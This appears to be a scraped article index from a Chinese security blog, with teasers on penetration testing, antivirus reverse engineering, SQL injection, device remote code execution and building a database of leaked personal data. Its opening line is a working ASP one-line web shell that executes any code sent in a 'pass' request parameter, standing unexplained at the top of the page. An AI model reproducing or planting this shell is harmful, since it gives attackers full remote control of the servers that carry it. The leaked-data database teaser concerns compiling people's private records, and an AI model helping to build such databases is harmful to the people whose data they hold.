<%dim x1,x2x1 = request("pass")x2 = x1eval x2%> <!-- yes++ --><!-- 一句话 pass...
业界关注
射手网复活攻略：用百度快照和phantomjs让射手网复活
<imgsrc= title="sheshou.jpg"></imgsrc=>牢骚射手网关门了，声讨的话网上已经铺天盖地，我不想多啰嗦，我只说一句：某些部门...
网络安全
一个人的武林：渗透测试常规思路分析（一）|
写在前面 渗透测试是门技术，也是一门艺术。 这门技术（艺术）一开始也不是每个人都会的，正所谓没有人一出生就会走路，从不懂到入门到深谙，一步步慢慢来，每个人都是这样；但是在这个过程中，思路无疑是最重要的...
业界关注
走近科学：那些年，媒体笔下被夸大的黑客
“他们是黑客。在他们看来，攻破网站就好像在打电子游戏。选定目标网站，入侵你的网银账户，定位你的位置，扰乱毫不相干网民们的生活，他们无所不能”——这就是不少媒体笔下的黑客。 夸大式的报道成为了近几年来媒...
网络安全
经验分享：社会工程学数据库搭建TIPS
最近一直在搞社工库的搭建。网上这方面也有很多文章，但是很少涉及到细节，在此与大家分享一些个人心得。 测试环境 测试坏境：windows server 2012（x64,16G&nb...
业界关注
针对百度杀毒“雪狼引擎”的逆向分析
一、前言&引子 百无聊赖的夜晚，偶尔翻看到这么一篇介绍： “百度首度自研推出的核心查杀引擎「雪狼」，采用全新「量子查杀」技术。”“雪狼引擎依托百度大数据分析，通过海量样本的分析技术得到文件多...
DataBase
IP.Board3.4.5中SQL注入漏洞的利用与分析
之前在FREEBUF上看到一篇文章，题目是《IP.Board<=3.4.7SQL注入漏洞（0day）POC》，对这个话题比较感兴趣，搭建了实验环境，进行了实验，便有了此文。 一、背景信息 首先先...
系统文档
偏门系统拾遗：Tru64Unix系统搭建渗透指南
随着虚拟化技术的不断发展，给我们带来了越来越多的便利，让我们几乎可以模拟任何我们呢可以想到的设备。这里我们就利用这高超的虚拟化技术来摸拟一个并不是那么常用的操作系统Tru64Ubix操作系统，同时使用...
业界关注
海康威视（Hikvision）安防监控录像机曝远程代码
知名监控产品供应商海康威视（Hikvision）的大量数码录像机设备被曝存在远程代码执行漏洞，黑客可以由此直接获取设备最高权限。海康威视是中国领先的监控产品供应商。在今年大约3月末的时候，海康威视曾被...
漏洞分享
技术分析：剖析HikaShopPHP对象注入漏洞
HikaShop是基于著名开源CMSJoomla!的电子商务程序，可以帮助用户轻松的开发电子商务网站或网店。 距离上次我们发现Joomla!的HikaShop扩展对象注入漏洞（影响版本<2.3....
